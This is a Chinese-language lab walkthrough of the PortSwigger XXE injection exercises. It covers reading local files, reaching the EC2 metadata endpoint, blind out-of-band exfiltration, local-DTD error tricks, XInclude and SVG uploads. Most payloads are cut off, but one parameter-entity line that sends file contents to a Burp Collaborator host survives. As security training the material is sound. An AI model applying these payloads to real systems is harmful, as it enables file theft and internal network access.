目录
Portswigger web security academy:XML external entity (XXE) injection
题目描述
要求
/etc/passwd
解题过程
构造读取文件的exp
题目描述
169.254.169.254
存在EC2元数据端点要求
解题步骤
构造exp
]>
这里需要把实体放在productId
中,因为该参数出错后会把输入的内容返回
请求会返回目录,根据返回的目录逐层进入即可
题目描述
要求
解题过程
利用burp自带的Collaborator构造exp
]>
题目描述
要求
解题过程
从材料中得知,除了普通的外部实体,还有参数实体
借助参数实体构造exp
题目描述
要求
/etc/hostname
的内容解题步骤
借助collaborator构造参数实体exp并上传到exploirt server
">
%eval;
%exfiltrate;
其中的%
是%
的十六进制下的实体编码,用实体编码是为了防止报错
%eval
会解码并执行<!ENTITY % exfiltrate SYSTEM 'http://y98rd1sugpnujml00qnbwrbnwe26qv.burpcollaborator.net/?%file;'>
,即进行参数实体exfiltrate
的定义声明
构造xxe加载exp
在collaborator client查看请求,复制并提交hostname
题目描述
要求
/etc/passwd
的内容解题步骤
和上一题类似,先构造参数实体exp并上传到exploit server
构造xxe加载exp
题目描述
/usr/share/yelp/dtd/docbookx.dtd
,且其中有一个实体叫做ISOamso
要求
/etc/passwd
的内容解题步骤
材料已经写的很详细了,直接构造exp
">
%eval;
%error;
'>
%local_dtd;
]>
这个exp解决了当主机无法加载外网DTD文件时如何进行报错XXE的问题
巧妙之处在于,直接提交的XML:一个内部实体中不能包含另一个实体,但是通过加载并重定义本地DTD文件中的实体,可以解决这个问题
题目描述
要求
XInclude
语句获取/etc/passwd
文件内容解题步骤
关于XInclude
可以看看这篇文章
简而言之,它的作用和php的include
类似,把目标文件的内容包含进来
构造exp
题目描述
Apache Batik library
处理上传的图片要求
/etc/hostname
的内容并提交解题步骤
尝试构造exp
]>
报错500,然后尝试了很多其他格式和命名方式,都不行,去看了官方的solution。。。发现需要用svg的标准来写,因为最后内容会被转换为png
]>
手机扫一扫
移动阅读更方便
你可能感兴趣的文章